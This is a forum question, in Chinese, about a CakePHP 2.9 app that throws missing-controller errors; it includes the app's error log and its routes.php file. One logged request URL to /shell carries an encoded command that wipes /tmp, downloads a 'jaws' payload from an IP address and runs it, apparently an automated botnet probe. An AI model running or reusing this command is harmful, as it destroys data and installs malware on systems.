CakePHP 2.9 未知路由错误

问题描述 投票:0回答:0

我遇到一个问题,我的 CakePHP 应用程序认为 anything 是一条路线,我不明白为什么。例如,这是我的

error.log

Request URL: /users/login
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Core/Object.php(104): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse), Array)
#1 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Controller/Component/RequestHandlerComponent.php(270): Object->requestAction('https://handley...', Array)
#2 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Utility/ObjectCollection.php(128): RequestHandlerComponent->beforeRedirect(Object(UsersController), 'https://handley...', NULL, true)
#3 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Event/CakeEventManager.php(243): ObjectCollection->trigger('beforeRedirect')
#4 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Controller/Controller.php(770): CakeEventManager->dispatch(Object(CakeEvent))
#5 /var/www/html/yachtnow_old/businessadmin/app/Controller/UsersController.php(1619): Controller->redirect('https://handley...')
#6 [internal function]: UsersController->login()
#7 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Controller/Controller.php(491): ReflectionMethod->invokeArgs(Object(UsersController), Array)
#8 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Routing/Dispatcher.php(193): Controller->invokeAction(Object(CakeRequest))
#9 /var/www/html/yachtnow_old/businessadmin/lib/Cake/Routing/Dispatcher.php(167): Dispatcher->_invoke(Object(UsersController), Object(CakeRequest))
#10 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#11 {main}
2023-03-10 01:26:23 Error: [MissingControllerException] Controller class DashboardController could not be found.
Exception Attributes: array (
  'class' => 'DashboardController',
  'plugin' => NULL,
)
Request URL: /dashboard
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}
2023-03-10 01:26:44 Error: [MissingControllerException] Controller class UploadsController could not be found.
Exception Attributes: array (
  'class' => 'UploadsController',
  'plugin' => NULL,
)
Request URL: /uploads/video/Profile.mov
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}
2023-03-10 01:48:05 Error: [MissingControllerException] Controller class ActuatorController could not be found.
Exception Attributes: array (
  'class' => 'ActuatorController',
  'plugin' => NULL,
)
Request URL: /actuator/health
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}
2023-03-10 01:48:52 Error: [MissingControllerException] Controller class UploadsController could not be found.
Exception Attributes: array (
  'class' => 'UploadsController',
  'plugin' => NULL,
)
Request URL: /uploads/video/Profile.mov
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}
2023-03-10 01:59:31 Error: [MissingControllerException] Controller class Subscribe.htmlController could not be found.
Exception Attributes: array (
  'class' => 'Subscribe.htmlController',
  'plugin' => NULL,
)
Request URL: /subscribe.html
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}
2023-03-10 02:27:47 Error: [MissingControllerException] Controller class HudsonController could not be found.
Exception Attributes: array (
  'class' => 'HudsonController',
  'plugin' => NULL,
)
Request URL: /hudson
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}
2023-03-10 02:30:21 Error: [MissingControllerException] Controller class ShellController could not be found.
Exception Attributes: array (
  'class' => 'ShellController',
  'plugin' => NULL,
)
Request URL: /shell?cd_%2Ftmp%3Brm_-rf_%2A%3Bwget__100_43_163_61%2Fjaws%3Bsh_%2Ftmp%2Fjaws=
Stack Trace:
#0 /var/www/html/yachtnow_old/businessadmin/app/webroot/index.php(117): Dispatcher->dispatch(Object(CakeRequest), Object(CakeResponse))
#1 {main}

令人困惑的是,我无法理解哪里出了问题。我的

routes.php
文件看起来像这样

Router::connect('/login', array('controller' => 'admins', 'action' => 'login'));
//Router::connect('/users/login', array('controller' => 'users', 'action' => 'login'));
Router::connect('/', array('controller' => 'users', 'action' => 'login'));
Router::connect('/users', array('controller' => 'users', 'action' => 'dashboard'));
Router::connect('/users/dashboard', array('controller' => 'users', 'action' => 'dashboard'));

Router::connect('/admin', array('admin'=>true,'controller' => 'admins', 'action' => 'dashboard'));
Router::connect('/admin/login', array('admin'=>true,'controller' => 'admins', 'action' => 'login'));
/*********** Web service routes *******************/
//Router::connect('/web_services/*', array('controller' => 'service_marketplaces', 'action' => 'service_ad'));


// Router::connect('/products/:val',array('controller' => 'products','action' => 'listing'),array('pass' => array('val')));
/* Router::connect('/mobile', array("mobile" =>true,'controller' => 'homes', 'action' => 'splash')); */


//CakePlugin::routes('Blog'); // Load Blog plugin routes
Router::parseExtensions();

Router::parseExtensions('pdf');


/**
 * Load all plugin routes. See the CakePlugin documentation on
 * how to customize the loading of plugin routes.
 */
CakePlugin::routes();
/* CakePlugin::routes('Blog'); */// Load Blog plugin routes
/**
 * Load the CakePHP default routes. Only remove this if you do not want to use
 * the built-in default routes.
 */
require CAKE . 'Config' . DS . 'routes.php';

但是如果我有类似

/uploads/videos/Profile.mov
的 URL,它会寻找像 UploadController 这样的控制器,我认为这是 CakePHP 的正常行为,但我不能说,而且现实是我遇到了一堆错误。我的主要错误与我的 UserController 有关,但这是因为未定义的会话变量。

如果有人有任何建议,我很乐意听到。我的 Nginx 配置也已正确设置。

php routes cakephp
© www.soinside.com 2019 - 2024. All rights reserved.